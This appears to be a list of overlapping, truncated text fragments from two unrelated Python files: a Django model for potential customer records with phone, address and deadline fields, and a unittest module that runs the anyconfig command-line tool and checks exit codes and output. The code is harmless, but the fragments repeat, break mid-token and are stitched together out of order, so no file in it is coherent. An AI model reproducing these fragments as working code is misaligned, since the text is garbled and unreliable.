"connection must be finished'), blank=True, null=True ) def get_absolute_url(self): return resolve_url('new_customers:user', uid=self.pk) class",
"finished'), blank=True, null=True ) def get_absolute_url(self): return resolve_url('new_customers:user', uid=self.pk) class Meta: db_table =",
") town = models.CharField( _('Town'), help_text=_('Town, if group does not already exist'), max_length=127,",
"does not already exist'), max_length=127, blank=True, null=True ) street = models.CharField(_('Street'), max_length=127, blank=True,",
"null=True, blank=True ) make_data = models.DateTimeField(_('Create date'), auto_now_add=True) deadline = models.DateField( _('Deadline connection'),",
"_('Deadline connection'), help_text=_('Date when connection must be finished'), blank=True, null=True ) def get_absolute_url(self):",
"models.CharField(_('fio'), max_length=256) telephone = models.CharField( max_length=16, verbose_name=_('Telephone'), blank=True, null=True, validators=(RegexValidator( getattr(settings, 'TELEPHONE_REGEXP', r'^(\\+[7893]\\d{10,11})?$')",
"null=True ) def get_absolute_url(self): return resolve_url('new_customers:user', uid=self.pk) class Meta: db_table = 'new_customers' verbose_name",
"group_app.models import Group class PotentialSubscriber(models.Model): fio = models.CharField(_('fio'), max_length=256) telephone = models.CharField( max_length=16,",
"_('Town'), help_text=_('Town, if group does not already exist'), max_length=127, blank=True, null=True ) street",
"gettext_lazy as _ from django.db import models from django.conf import settings from django.core.validators",
"null=True, verbose_name=_('User group') ) town = models.CharField( _('Town'), help_text=_('Town, if group does not",
"be finished'), blank=True, null=True ) def get_absolute_url(self): return resolve_url('new_customers:user', uid=self.pk) class Meta: db_table",
"django.shortcuts import resolve_url from django.utils.translation import gettext_lazy as _ from django.db import models",
"fio = models.CharField(_('fio'), max_length=256) telephone = models.CharField( max_length=16, verbose_name=_('Telephone'), blank=True, null=True, validators=(RegexValidator( getattr(settings,",
"house = models.CharField( _('House'), max_length=12, null=True, blank=True ) description = models.TextField( _('Comment'), null=True,",
") make_data = models.DateTimeField(_('Create date'), auto_now_add=True) deadline = models.DateField( _('Deadline connection'), help_text=_('Date when",
"from group_app.models import Group class PotentialSubscriber(models.Model): fio = models.CharField(_('fio'), max_length=256) telephone = models.CharField(",
"django.core.validators import RegexValidator from group_app.models import Group class PotentialSubscriber(models.Model): fio = models.CharField(_('fio'), max_length=256)",
"null=True, blank=True ) description = models.TextField( _('Comment'), null=True, blank=True ) make_data = models.DateTimeField(_('Create",
"from django.conf import settings from django.core.validators import RegexValidator from group_app.models import Group class",
"models.CharField( _('Town'), help_text=_('Town, if group does not already exist'), max_length=127, blank=True, null=True )",
"from django.core.validators import RegexValidator from group_app.models import Group class PotentialSubscriber(models.Model): fio = models.CharField(_('fio'),",
"= models.ForeignKey( Group, on_delete=models.SET_NULL, blank=True, null=True, verbose_name=_('User group') ) town = models.CharField( _('Town'),",
"max_length=127, blank=True, null=True ) street = models.CharField(_('Street'), max_length=127, blank=True, null=True) house = models.CharField(",
"= models.TextField( _('Comment'), null=True, blank=True ) make_data = models.DateTimeField(_('Create date'), auto_now_add=True) deadline =",
"verbose_name=_('Telephone'), blank=True, null=True, validators=(RegexValidator( getattr(settings, 'TELEPHONE_REGEXP', r'^(\\+[7893]\\d{10,11})?$') ),) ) group = models.ForeignKey( Group,",
"class PotentialSubscriber(models.Model): fio = models.CharField(_('fio'), max_length=256) telephone = models.CharField( max_length=16, verbose_name=_('Telephone'), blank=True, null=True,",
"street = models.CharField(_('Street'), max_length=127, blank=True, null=True) house = models.CharField( _('House'), max_length=12, null=True, blank=True",
"max_length=256) telephone = models.CharField( max_length=16, verbose_name=_('Telephone'), blank=True, null=True, validators=(RegexValidator( getattr(settings, 'TELEPHONE_REGEXP', r'^(\\+[7893]\\d{10,11})?$') ),)",
"models.DateField( _('Deadline connection'), help_text=_('Date when connection must be finished'), blank=True, null=True ) def",
"if group does not already exist'), max_length=127, blank=True, null=True ) street = models.CharField(_('Street'),",
"town = models.CharField( _('Town'), help_text=_('Town, if group does not already exist'), max_length=127, blank=True,",
"resolve_url('new_customers:user', uid=self.pk) class Meta: db_table = 'new_customers' verbose_name = _('Potential customer') verbose_name_plural =",
"deadline = models.DateField( _('Deadline connection'), help_text=_('Date when connection must be finished'), blank=True, null=True",
"class Meta: db_table = 'new_customers' verbose_name = _('Potential customer') verbose_name_plural = _('Potential customers')",
") description = models.TextField( _('Comment'), null=True, blank=True ) make_data = models.DateTimeField(_('Create date'), auto_now_add=True)",
"'TELEPHONE_REGEXP', r'^(\\+[7893]\\d{10,11})?$') ),) ) group = models.ForeignKey( Group, on_delete=models.SET_NULL, blank=True, null=True, verbose_name=_('User group')",
") street = models.CharField(_('Street'), max_length=127, blank=True, null=True) house = models.CharField( _('House'), max_length=12, null=True,",
"= models.DateTimeField(_('Create date'), auto_now_add=True) deadline = models.DateField( _('Deadline connection'), help_text=_('Date when connection must",
"uid=self.pk) class Meta: db_table = 'new_customers' verbose_name = _('Potential customer') verbose_name_plural = _('Potential",
"models.TextField( _('Comment'), null=True, blank=True ) make_data = models.DateTimeField(_('Create date'), auto_now_add=True) deadline = models.DateField(",
"import models from django.conf import settings from django.core.validators import RegexValidator from group_app.models import",
"max_length=16, verbose_name=_('Telephone'), blank=True, null=True, validators=(RegexValidator( getattr(settings, 'TELEPHONE_REGEXP', r'^(\\+[7893]\\d{10,11})?$') ),) ) group = models.ForeignKey(",
"not already exist'), max_length=127, blank=True, null=True ) street = models.CharField(_('Street'), max_length=127, blank=True, null=True)",
"models.CharField( max_length=16, verbose_name=_('Telephone'), blank=True, null=True, validators=(RegexValidator( getattr(settings, 'TELEPHONE_REGEXP', r'^(\\+[7893]\\d{10,11})?$') ),) ) group =",
"group = models.ForeignKey( Group, on_delete=models.SET_NULL, blank=True, null=True, verbose_name=_('User group') ) town = models.CharField(",
"as _ from django.db import models from django.conf import settings from django.core.validators import",
") group = models.ForeignKey( Group, on_delete=models.SET_NULL, blank=True, null=True, verbose_name=_('User group') ) town =",
"max_length=12, null=True, blank=True ) description = models.TextField( _('Comment'), null=True, blank=True ) make_data =",
"import RegexValidator from group_app.models import Group class PotentialSubscriber(models.Model): fio = models.CharField(_('fio'), max_length=256) telephone",
"get_absolute_url(self): return resolve_url('new_customers:user', uid=self.pk) class Meta: db_table = 'new_customers' verbose_name = _('Potential customer')",
"from django.shortcuts import resolve_url from django.utils.translation import gettext_lazy as _ from django.db import",
"blank=True, null=True, verbose_name=_('User group') ) town = models.CharField( _('Town'), help_text=_('Town, if group does",
"models from django.conf import settings from django.core.validators import RegexValidator from group_app.models import Group",
"null=True ) street = models.CharField(_('Street'), max_length=127, blank=True, null=True) house = models.CharField( _('House'), max_length=12,",
"Group, on_delete=models.SET_NULL, blank=True, null=True, verbose_name=_('User group') ) town = models.CharField( _('Town'), help_text=_('Town, if",
"return resolve_url('new_customers:user', uid=self.pk) class Meta: db_table = 'new_customers' verbose_name = _('Potential customer') verbose_name_plural",
"connection'), help_text=_('Date when connection must be finished'), blank=True, null=True ) def get_absolute_url(self): return",
"from django.db import models from django.conf import settings from django.core.validators import RegexValidator from",
"),) ) group = models.ForeignKey( Group, on_delete=models.SET_NULL, blank=True, null=True, verbose_name=_('User group') ) town",
"import Group class PotentialSubscriber(models.Model): fio = models.CharField(_('fio'), max_length=256) telephone = models.CharField( max_length=16, verbose_name=_('Telephone'),",
"null=True, validators=(RegexValidator( getattr(settings, 'TELEPHONE_REGEXP', r'^(\\+[7893]\\d{10,11})?$') ),) ) group = models.ForeignKey( Group, on_delete=models.SET_NULL, blank=True,",
"must be finished'), blank=True, null=True ) def get_absolute_url(self): return resolve_url('new_customers:user', uid=self.pk) class Meta:",
"django.utils.translation import gettext_lazy as _ from django.db import models from django.conf import settings",
"= models.CharField( max_length=16, verbose_name=_('Telephone'), blank=True, null=True, validators=(RegexValidator( getattr(settings, 'TELEPHONE_REGEXP', r'^(\\+[7893]\\d{10,11})?$') ),) ) group",
"def get_absolute_url(self): return resolve_url('new_customers:user', uid=self.pk) class Meta: db_table = 'new_customers' verbose_name = _('Potential",
"= models.CharField(_('Street'), max_length=127, blank=True, null=True) house = models.CharField( _('House'), max_length=12, null=True, blank=True )",
"telephone = models.CharField( max_length=16, verbose_name=_('Telephone'), blank=True, null=True, validators=(RegexValidator( getattr(settings, 'TELEPHONE_REGEXP', r'^(\\+[7893]\\d{10,11})?$') ),) )",
"import gettext_lazy as _ from django.db import models from django.conf import settings from",
"getattr(settings, 'TELEPHONE_REGEXP', r'^(\\+[7893]\\d{10,11})?$') ),) ) group = models.ForeignKey( Group, on_delete=models.SET_NULL, blank=True, null=True, verbose_name=_('User",
"import settings from django.core.validators import RegexValidator from group_app.models import Group class PotentialSubscriber(models.Model): fio",
"null=True) house = models.CharField( _('House'), max_length=12, null=True, blank=True ) description = models.TextField( _('Comment'),",
"blank=True, null=True ) street = models.CharField(_('Street'), max_length=127, blank=True, null=True) house = models.CharField( _('House'),",
"description = models.TextField( _('Comment'), null=True, blank=True ) make_data = models.DateTimeField(_('Create date'), auto_now_add=True) deadline",
"_('House'), max_length=12, null=True, blank=True ) description = models.TextField( _('Comment'), null=True, blank=True ) make_data",
"RegexValidator from group_app.models import Group class PotentialSubscriber(models.Model): fio = models.CharField(_('fio'), max_length=256) telephone =",
"date'), auto_now_add=True) deadline = models.DateField( _('Deadline connection'), help_text=_('Date when connection must be finished'),",
"when connection must be finished'), blank=True, null=True ) def get_absolute_url(self): return resolve_url('new_customers:user', uid=self.pk)",
"= 'new_customers' verbose_name = _('Potential customer') verbose_name_plural = _('Potential customers') ordering = '-id',",
"Group class PotentialSubscriber(models.Model): fio = models.CharField(_('fio'), max_length=256) telephone = models.CharField( max_length=16, verbose_name=_('Telephone'), blank=True,",
"already exist'), max_length=127, blank=True, null=True ) street = models.CharField(_('Street'), max_length=127, blank=True, null=True) house",
"verbose_name=_('User group') ) town = models.CharField( _('Town'), help_text=_('Town, if group does not already",
"help_text=_('Town, if group does not already exist'), max_length=127, blank=True, null=True ) street =",
"on_delete=models.SET_NULL, blank=True, null=True, verbose_name=_('User group') ) town = models.CharField( _('Town'), help_text=_('Town, if group",
"blank=True ) make_data = models.DateTimeField(_('Create date'), auto_now_add=True) deadline = models.DateField( _('Deadline connection'), help_text=_('Date",
"validators=(RegexValidator( getattr(settings, 'TELEPHONE_REGEXP', r'^(\\+[7893]\\d{10,11})?$') ),) ) group = models.ForeignKey( Group, on_delete=models.SET_NULL, blank=True, null=True,"
] |
[
"repr(tdata)) self.post_checks(tdata, opath) else: # Likewise but without -o <output_path> option. TT.main(args) self.post_checks(tdata)",
"self.collector: self.collector.init() def post_checks(self, tdata, *args, **kwargs): \"\"\"Placeholder to do more post checks.",
"in self.collector.each_data(): self.run_main(tdata) class NoInputTestCase(BaseTestCase): \"\"\"Test cases which does not require inputs. \"\"\"",
"# Likewise but without -o <output_path> option. TT.main(args) self.post_checks(tdata) sys.exit(0) def run_main(self, tdata)",
"ecode = getattr(exc, 'error_code', getattr(exc, 'code', 1)) if expected.exit_code_matches: self.assertEqual(ecode, expected.exit_code, f'{tdata!r}') else:",
"# # pylint: disable=missing-docstring \"\"\"test cases for anyconfig.cli module. \"\"\" import contextlib import",
"cases for anyconfig.cli module. \"\"\" import contextlib import io import pathlib import sys",
"import collectors, datatypes def make_args(_self, tdata): \"\"\"Make arguments to run cli.main. \"\"\" return",
"_run_main(self, tdata): \"\"\"Wrapper for cli.main.\"\"\" args = self.make_args(tdata) if tdata.outname: # Running cli.main",
"check if the exit code was expected one. \"\"\" expected: datatypes.Expected = tdata.exp",
"setUp(self): if self.collector: self.collector.init() def post_checks(self, tdata, *args, **kwargs): \"\"\"Placeholder to do more",
"datatypes.Expected = tdata.exp with self.assertRaises(expected.exception, msg=repr(tdata)) as ctx: with contextlib.redirect_stdout(io.StringIO()) as stdout: with",
"which does not require inputs. \"\"\" def make_args(self, tdata): # pylint: disable=no-self-use \"\"\"Make",
"with contextlib.redirect_stdout(io.StringIO()) as stdout: with contextlib.redirect_stderr(io.StringIO()) as stderr: self._run_main(tdata) exc = ctx.exception self.assertTrue(isinstance(exc,",
"return ['anyconfig_cli'] + tdata.opts + [str(tdata.inp_path)] class BaseTestCase(unittest.TestCase): \"\"\"Base Test case. \"\"\" collector",
"if expected.exit_code_matches: self.assertEqual(ecode, expected.exit_code, f'{tdata!r}') else: self.assertNotEqual(ecode, expected.exit_code, f'{tdata!r}') if expected.words_in_stdout: msg =",
"f'{tdata!r}') else: self.assertNotEqual(ecode, expected.exit_code, f'{tdata!r}') if expected.words_in_stdout: msg = stdout.getvalue() self.assertTrue(expected.words_in_stdout in msg,",
"expected.exception)) ecode = getattr(exc, 'error_code', getattr(exc, 'code', 1)) if expected.exit_code_matches: self.assertEqual(ecode, expected.exit_code, f'{tdata!r}')",
"2013 - 2021 <NAME> <<EMAIL>> # License: MIT # # pylint: disable=missing-docstring \"\"\"test",
"pylint: disable=missing-docstring \"\"\"test cases for anyconfig.cli module. \"\"\" import contextlib import io import",
"self.assertTrue(opath.exists(), str(opath)) try: odata = anyconfig.api.load(opath, **tdata.oo_opts) except anyconfig.api.UnknownFileTypeError: odata = anyconfig.api.load(opath, ac_parser='json')",
"except anyconfig.api.UnknownFileTypeError: odata = anyconfig.api.load(opath, ac_parser='json') self.assertEqual(odata, tdata.ref, repr(tdata)) self.post_checks(tdata, opath) else: #",
"\"\"\"Test cases which does not require inputs. \"\"\" def make_args(self, tdata): # pylint:",
"<<EMAIL>> # License: MIT # # pylint: disable=missing-docstring \"\"\"test cases for anyconfig.cli module.",
"for cli.main.\"\"\" args = self.make_args(tdata) if tdata.outname: # Running cli.main will output files.",
"1)) if expected.exit_code_matches: self.assertEqual(ecode, expected.exit_code, f'{tdata!r}') else: self.assertNotEqual(ecode, expected.exit_code, f'{tdata!r}') if expected.words_in_stdout: msg",
"cli.main.\"\"\" args = self.make_args(tdata) if tdata.outname: # Running cli.main will output files. self.assertTrue(",
"**tdata.oo_opts) except anyconfig.api.UnknownFileTypeError: odata = anyconfig.api.load(opath, ac_parser='json') self.assertEqual(odata, tdata.ref, repr(tdata)) self.post_checks(tdata, opath) else:",
"post_checks(self, tdata, *args, **kwargs): \"\"\"Placeholder to do more post checks. \"\"\" pass def",
"tdata, *args, **kwargs): \"\"\"Placeholder to do more post checks. \"\"\" pass def _run_main(self,",
"if the exit code was expected one. \"\"\" expected: datatypes.Expected = tdata.exp with",
"= self.make_args(tdata) if tdata.outname: # Running cli.main will output files. self.assertTrue( tdata.ref is",
"\"\"\" def make_args(self, tdata): # pylint: disable=no-self-use \"\"\"Make arguments to run cli.main. \"\"\"",
"def make_args(self, tdata): # pylint: disable=no-self-use \"\"\"Make arguments to run cli.main. \"\"\" return",
"\"\"\" return ['anyconfig_cli'] + tdata.opts + [str(tdata.inp_path)] class BaseTestCase(unittest.TestCase): \"\"\"Base Test case. \"\"\"",
"License: MIT # # pylint: disable=missing-docstring \"\"\"test cases for anyconfig.cli module. \"\"\" import",
"{tdata!r}' ) with tempfile.TemporaryDirectory() as tdir: opath = pathlib.Path(tdir) / tdata.outname # Run",
"# # Copyright (C) 2013 - 2021 <NAME> <<EMAIL>> # License: MIT #",
") with tempfile.TemporaryDirectory() as tdir: opath = pathlib.Path(tdir) / tdata.outname # Run anyconfig.cli.main",
"expected: datatypes.Expected = tdata.exp with self.assertRaises(expected.exception, msg=repr(tdata)) as ctx: with contextlib.redirect_stdout(io.StringIO()) as stdout:",
"in msg, msg) if expected.words_in_stderr: err = stderr.getvalue() self.assertTrue(expected.words_in_stderr in err, err) def",
"ac_parser='json') self.assertEqual(odata, tdata.ref, repr(tdata)) self.post_checks(tdata, opath) else: # Likewise but without -o <output_path>",
"def test_runs_for_datasets(self) -> None: if self.collector and self.collector.initialized: if self.collector.kind == base.TDataCollector.kind: return",
"tdata in self.collector.each_data(): self.run_main(tdata) class NoInputTestCase(BaseTestCase): \"\"\"Test cases which does not require inputs.",
"Test case. \"\"\" collector = collectors.Collector() make_args = make_args def setUp(self): if self.collector:",
"if expected.words_in_stderr: err = stderr.getvalue() self.assertTrue(expected.words_in_stderr in err, err) def test_runs_for_datasets(self) -> None:",
"msg = stdout.getvalue() self.assertTrue(expected.words_in_stdout in msg, msg) if expected.words_in_stderr: err = stderr.getvalue() self.assertTrue(expected.words_in_stderr",
"-> None: if self.collector and self.collector.initialized: if self.collector.kind == base.TDataCollector.kind: return for tdata",
"NoInputTestCase(BaseTestCase): \"\"\"Test cases which does not require inputs. \"\"\" def make_args(self, tdata): #",
"err = stderr.getvalue() self.assertTrue(expected.words_in_stderr in err, err) def test_runs_for_datasets(self) -> None: if self.collector",
"\"\"\"test cases for anyconfig.cli module. \"\"\" import contextlib import io import pathlib import",
"anyconfig.cli.main with arguments. TT.main(args + ['-o', str(opath)]) if tdata.exp.exit_code_matches and tdata.exp.exit_code == 0:",
"self.assertEqual(ecode, expected.exit_code, f'{tdata!r}') else: self.assertNotEqual(ecode, expected.exit_code, f'{tdata!r}') if expected.words_in_stdout: msg = stdout.getvalue() self.assertTrue(expected.words_in_stdout",
"/ tdata.outname # Run anyconfig.cli.main with arguments. TT.main(args + ['-o', str(opath)]) if tdata.exp.exit_code_matches",
"\"\"\"Make arguments to run cli.main. \"\"\" return ['anyconfig_cli'] + tdata.opts + [str(tdata.inp_path)] class",
"if self.collector and self.collector.initialized: if self.collector.kind == base.TDataCollector.kind: return for tdata in self.collector.each_data():",
"import sys import tempfile import unittest import anyconfig.api import anyconfig.cli as TT from",
"import pathlib import sys import tempfile import unittest import anyconfig.api import anyconfig.cli as",
"str(opath)]) if tdata.exp.exit_code_matches and tdata.exp.exit_code == 0: self.assertTrue(opath.exists(), str(opath)) try: odata = anyconfig.api.load(opath,",
"with tempfile.TemporaryDirectory() as tdir: opath = pathlib.Path(tdir) / tdata.outname # Run anyconfig.cli.main with",
"str(opath)) try: odata = anyconfig.api.load(opath, **tdata.oo_opts) except anyconfig.api.UnknownFileTypeError: odata = anyconfig.api.load(opath, ac_parser='json') self.assertEqual(odata,",
"import anyconfig.cli as TT from .. import base from . import collectors, datatypes",
"anyconfig.cli.main and check if the exit code was expected one. \"\"\" expected: datatypes.Expected",
"import unittest import anyconfig.api import anyconfig.cli as TT from .. import base from",
"pylint: disable=no-self-use \"\"\"Make arguments to run cli.main. \"\"\" return ['anyconfig_cli'] + tdata.opts #",
"\"\"\" collector = collectors.Collector() make_args = make_args def setUp(self): if self.collector: self.collector.init() def",
"import anyconfig.api import anyconfig.cli as TT from .. import base from . import",
"TT from .. import base from . import collectors, datatypes def make_args(_self, tdata):",
"expected.words_in_stderr: err = stderr.getvalue() self.assertTrue(expected.words_in_stderr in err, err) def test_runs_for_datasets(self) -> None: if",
"return for tdata in self.collector.each_data(): self.run_main(tdata) class NoInputTestCase(BaseTestCase): \"\"\"Test cases which does not",
"inputs. \"\"\" def make_args(self, tdata): # pylint: disable=no-self-use \"\"\"Make arguments to run cli.main.",
"self.make_args(tdata) if tdata.outname: # Running cli.main will output files. self.assertTrue( tdata.ref is not",
"if expected.words_in_stdout: msg = stdout.getvalue() self.assertTrue(expected.words_in_stdout in msg, msg) if expected.words_in_stderr: err =",
"as ctx: with contextlib.redirect_stdout(io.StringIO()) as stdout: with contextlib.redirect_stderr(io.StringIO()) as stderr: self._run_main(tdata) exc =",
"['anyconfig_cli'] + tdata.opts + [str(tdata.inp_path)] class BaseTestCase(unittest.TestCase): \"\"\"Base Test case. \"\"\" collector =",
"do more post checks. \"\"\" pass def _run_main(self, tdata): \"\"\"Wrapper for cli.main.\"\"\" args",
"if tdata.outname: # Running cli.main will output files. self.assertTrue( tdata.ref is not None,",
"anyconfig.api import anyconfig.cli as TT from .. import base from . import collectors,",
"(C) 2013 - 2021 <NAME> <<EMAIL>> # License: MIT # # pylint: disable=missing-docstring",
"-o <output_path> option. TT.main(args) self.post_checks(tdata) sys.exit(0) def run_main(self, tdata) -> None: \"\"\" Run",
"anyconfig.cli as TT from .. import base from . import collectors, datatypes def",
"tdata): \"\"\"Wrapper for cli.main.\"\"\" args = self.make_args(tdata) if tdata.outname: # Running cli.main will",
"contextlib import io import pathlib import sys import tempfile import unittest import anyconfig.api",
"as stdout: with contextlib.redirect_stderr(io.StringIO()) as stderr: self._run_main(tdata) exc = ctx.exception self.assertTrue(isinstance(exc, expected.exception)) ecode",
"arguments. TT.main(args + ['-o', str(opath)]) if tdata.exp.exit_code_matches and tdata.exp.exit_code == 0: self.assertTrue(opath.exists(), str(opath))",
"tdata.outname # Run anyconfig.cli.main with arguments. TT.main(args + ['-o', str(opath)]) if tdata.exp.exit_code_matches and",
"one. \"\"\" expected: datatypes.Expected = tdata.exp with self.assertRaises(expected.exception, msg=repr(tdata)) as ctx: with contextlib.redirect_stdout(io.StringIO())",
"None: if self.collector and self.collector.initialized: if self.collector.kind == base.TDataCollector.kind: return for tdata in",
"BaseTestCase(unittest.TestCase): \"\"\"Base Test case. \"\"\" collector = collectors.Collector() make_args = make_args def setUp(self):",
"and tdata.exp.exit_code == 0: self.assertTrue(opath.exists(), str(opath)) try: odata = anyconfig.api.load(opath, **tdata.oo_opts) except anyconfig.api.UnknownFileTypeError:",
"try: odata = anyconfig.api.load(opath, **tdata.oo_opts) except anyconfig.api.UnknownFileTypeError: odata = anyconfig.api.load(opath, ac_parser='json') self.assertEqual(odata, tdata.ref,",
"else: self.assertNotEqual(ecode, expected.exit_code, f'{tdata!r}') if expected.words_in_stdout: msg = stdout.getvalue() self.assertTrue(expected.words_in_stdout in msg, msg)",
"Run anyconfig.cli.main with arguments. TT.main(args + ['-o', str(opath)]) if tdata.exp.exit_code_matches and tdata.exp.exit_code ==",
"as stderr: self._run_main(tdata) exc = ctx.exception self.assertTrue(isinstance(exc, expected.exception)) ecode = getattr(exc, 'error_code', getattr(exc,",
"getattr(exc, 'code', 1)) if expected.exit_code_matches: self.assertEqual(ecode, expected.exit_code, f'{tdata!r}') else: self.assertNotEqual(ecode, expected.exit_code, f'{tdata!r}') if",
"make_args = make_args def setUp(self): if self.collector: self.collector.init() def post_checks(self, tdata, *args, **kwargs):",
"TT.main(args + ['-o', str(opath)]) if tdata.exp.exit_code_matches and tdata.exp.exit_code == 0: self.assertTrue(opath.exists(), str(opath)) try:",
"sys import tempfile import unittest import anyconfig.api import anyconfig.cli as TT from ..",
"\"\"\" pass def _run_main(self, tdata): \"\"\"Wrapper for cli.main.\"\"\" args = self.make_args(tdata) if tdata.outname:",
"self.assertTrue(expected.words_in_stderr in err, err) def test_runs_for_datasets(self) -> None: if self.collector and self.collector.initialized: if",
"to do more post checks. \"\"\" pass def _run_main(self, tdata): \"\"\"Wrapper for cli.main.\"\"\"",
"tdata.ref is not None, 'No reference data was given, {tdata!r}' ) with tempfile.TemporaryDirectory()",
"== 0: self.assertTrue(opath.exists(), str(opath)) try: odata = anyconfig.api.load(opath, **tdata.oo_opts) except anyconfig.api.UnknownFileTypeError: odata =",
"msg) if expected.words_in_stderr: err = stderr.getvalue() self.assertTrue(expected.words_in_stderr in err, err) def test_runs_for_datasets(self) ->",
"**kwargs): \"\"\"Placeholder to do more post checks. \"\"\" pass def _run_main(self, tdata): \"\"\"Wrapper",
"+ tdata.opts + [str(tdata.inp_path)] class BaseTestCase(unittest.TestCase): \"\"\"Base Test case. \"\"\" collector = collectors.Collector()",
"opath) else: # Likewise but without -o <output_path> option. TT.main(args) self.post_checks(tdata) sys.exit(0) def",
"run_main(self, tdata) -> None: \"\"\" Run anyconfig.cli.main and check if the exit code",
"does not require inputs. \"\"\" def make_args(self, tdata): # pylint: disable=no-self-use \"\"\"Make arguments",
"tdata.exp.exit_code == 0: self.assertTrue(opath.exists(), str(opath)) try: odata = anyconfig.api.load(opath, **tdata.oo_opts) except anyconfig.api.UnknownFileTypeError: odata",
"expected.exit_code_matches: self.assertEqual(ecode, expected.exit_code, f'{tdata!r}') else: self.assertNotEqual(ecode, expected.exit_code, f'{tdata!r}') if expected.words_in_stdout: msg = stdout.getvalue()",
"class NoInputTestCase(BaseTestCase): \"\"\"Test cases which does not require inputs. \"\"\" def make_args(self, tdata):",
"# Run anyconfig.cli.main with arguments. TT.main(args + ['-o', str(opath)]) if tdata.exp.exit_code_matches and tdata.exp.exit_code",
"pass def _run_main(self, tdata): \"\"\"Wrapper for cli.main.\"\"\" args = self.make_args(tdata) if tdata.outname: #",
"def run_main(self, tdata) -> None: \"\"\" Run anyconfig.cli.main and check if the exit",
"contextlib.redirect_stdout(io.StringIO()) as stdout: with contextlib.redirect_stderr(io.StringIO()) as stderr: self._run_main(tdata) exc = ctx.exception self.assertTrue(isinstance(exc, expected.exception))",
"'code', 1)) if expected.exit_code_matches: self.assertEqual(ecode, expected.exit_code, f'{tdata!r}') else: self.assertNotEqual(ecode, expected.exit_code, f'{tdata!r}') if expected.words_in_stdout:",
"err) def test_runs_for_datasets(self) -> None: if self.collector and self.collector.initialized: if self.collector.kind == base.TDataCollector.kind:",
"in err, err) def test_runs_for_datasets(self) -> None: if self.collector and self.collector.initialized: if self.collector.kind",
"self._run_main(tdata) exc = ctx.exception self.assertTrue(isinstance(exc, expected.exception)) ecode = getattr(exc, 'error_code', getattr(exc, 'code', 1))",
"= ctx.exception self.assertTrue(isinstance(exc, expected.exception)) ecode = getattr(exc, 'error_code', getattr(exc, 'code', 1)) if expected.exit_code_matches:",
"# Running cli.main will output files. self.assertTrue( tdata.ref is not None, 'No reference",
"files. self.assertTrue( tdata.ref is not None, 'No reference data was given, {tdata!r}' )",
"odata = anyconfig.api.load(opath, **tdata.oo_opts) except anyconfig.api.UnknownFileTypeError: odata = anyconfig.api.load(opath, ac_parser='json') self.assertEqual(odata, tdata.ref, repr(tdata))",
"if self.collector.kind == base.TDataCollector.kind: return for tdata in self.collector.each_data(): self.run_main(tdata) class NoInputTestCase(BaseTestCase): \"\"\"Test",
"module. \"\"\" import contextlib import io import pathlib import sys import tempfile import",
"disable=no-self-use \"\"\"Make arguments to run cli.main. \"\"\" return ['anyconfig_cli'] + tdata.opts # vim:sw=4:ts=4:et:",
"def setUp(self): if self.collector: self.collector.init() def post_checks(self, tdata, *args, **kwargs): \"\"\"Placeholder to do",
"Likewise but without -o <output_path> option. TT.main(args) self.post_checks(tdata) sys.exit(0) def run_main(self, tdata) ->",
"tdata.outname: # Running cli.main will output files. self.assertTrue( tdata.ref is not None, 'No",
"reference data was given, {tdata!r}' ) with tempfile.TemporaryDirectory() as tdir: opath = pathlib.Path(tdir)",
"= collectors.Collector() make_args = make_args def setUp(self): if self.collector: self.collector.init() def post_checks(self, tdata,",
"Running cli.main will output files. self.assertTrue( tdata.ref is not None, 'No reference data",
"self.run_main(tdata) class NoInputTestCase(BaseTestCase): \"\"\"Test cases which does not require inputs. \"\"\" def make_args(self,",
"with arguments. TT.main(args + ['-o', str(opath)]) if tdata.exp.exit_code_matches and tdata.exp.exit_code == 0: self.assertTrue(opath.exists(),",
"+ ['-o', str(opath)]) if tdata.exp.exit_code_matches and tdata.exp.exit_code == 0: self.assertTrue(opath.exists(), str(opath)) try: odata",
"tdata.exp with self.assertRaises(expected.exception, msg=repr(tdata)) as ctx: with contextlib.redirect_stdout(io.StringIO()) as stdout: with contextlib.redirect_stderr(io.StringIO()) as",
"with self.assertRaises(expected.exception, msg=repr(tdata)) as ctx: with contextlib.redirect_stdout(io.StringIO()) as stdout: with contextlib.redirect_stderr(io.StringIO()) as stderr:",
"data was given, {tdata!r}' ) with tempfile.TemporaryDirectory() as tdir: opath = pathlib.Path(tdir) /",
"from . import collectors, datatypes def make_args(_self, tdata): \"\"\"Make arguments to run cli.main.",
"option. TT.main(args) self.post_checks(tdata) sys.exit(0) def run_main(self, tdata) -> None: \"\"\" Run anyconfig.cli.main and",
"make_args(_self, tdata): \"\"\"Make arguments to run cli.main. \"\"\" return ['anyconfig_cli'] + tdata.opts +",
"cases which does not require inputs. \"\"\" def make_args(self, tdata): # pylint: disable=no-self-use",
"and self.collector.initialized: if self.collector.kind == base.TDataCollector.kind: return for tdata in self.collector.each_data(): self.run_main(tdata) class",
"given, {tdata!r}' ) with tempfile.TemporaryDirectory() as tdir: opath = pathlib.Path(tdir) / tdata.outname #",
"import io import pathlib import sys import tempfile import unittest import anyconfig.api import",
"self.collector.initialized: if self.collector.kind == base.TDataCollector.kind: return for tdata in self.collector.each_data(): self.run_main(tdata) class NoInputTestCase(BaseTestCase):",
"expected one. \"\"\" expected: datatypes.Expected = tdata.exp with self.assertRaises(expected.exception, msg=repr(tdata)) as ctx: with",
"stderr: self._run_main(tdata) exc = ctx.exception self.assertTrue(isinstance(exc, expected.exception)) ecode = getattr(exc, 'error_code', getattr(exc, 'code',",
"tempfile.TemporaryDirectory() as tdir: opath = pathlib.Path(tdir) / tdata.outname # Run anyconfig.cli.main with arguments.",
"but without -o <output_path> option. TT.main(args) self.post_checks(tdata) sys.exit(0) def run_main(self, tdata) -> None:",
"not None, 'No reference data was given, {tdata!r}' ) with tempfile.TemporaryDirectory() as tdir:",
"tempfile import unittest import anyconfig.api import anyconfig.cli as TT from .. import base",
"self.post_checks(tdata) sys.exit(0) def run_main(self, tdata) -> None: \"\"\" Run anyconfig.cli.main and check if",
"= stdout.getvalue() self.assertTrue(expected.words_in_stdout in msg, msg) if expected.words_in_stderr: err = stderr.getvalue() self.assertTrue(expected.words_in_stderr in",
"collectors, datatypes def make_args(_self, tdata): \"\"\"Make arguments to run cli.main. \"\"\" return ['anyconfig_cli']",
"if self.collector: self.collector.init() def post_checks(self, tdata, *args, **kwargs): \"\"\"Placeholder to do more post",
"anyconfig.api.load(opath, ac_parser='json') self.assertEqual(odata, tdata.ref, repr(tdata)) self.post_checks(tdata, opath) else: # Likewise but without -o",
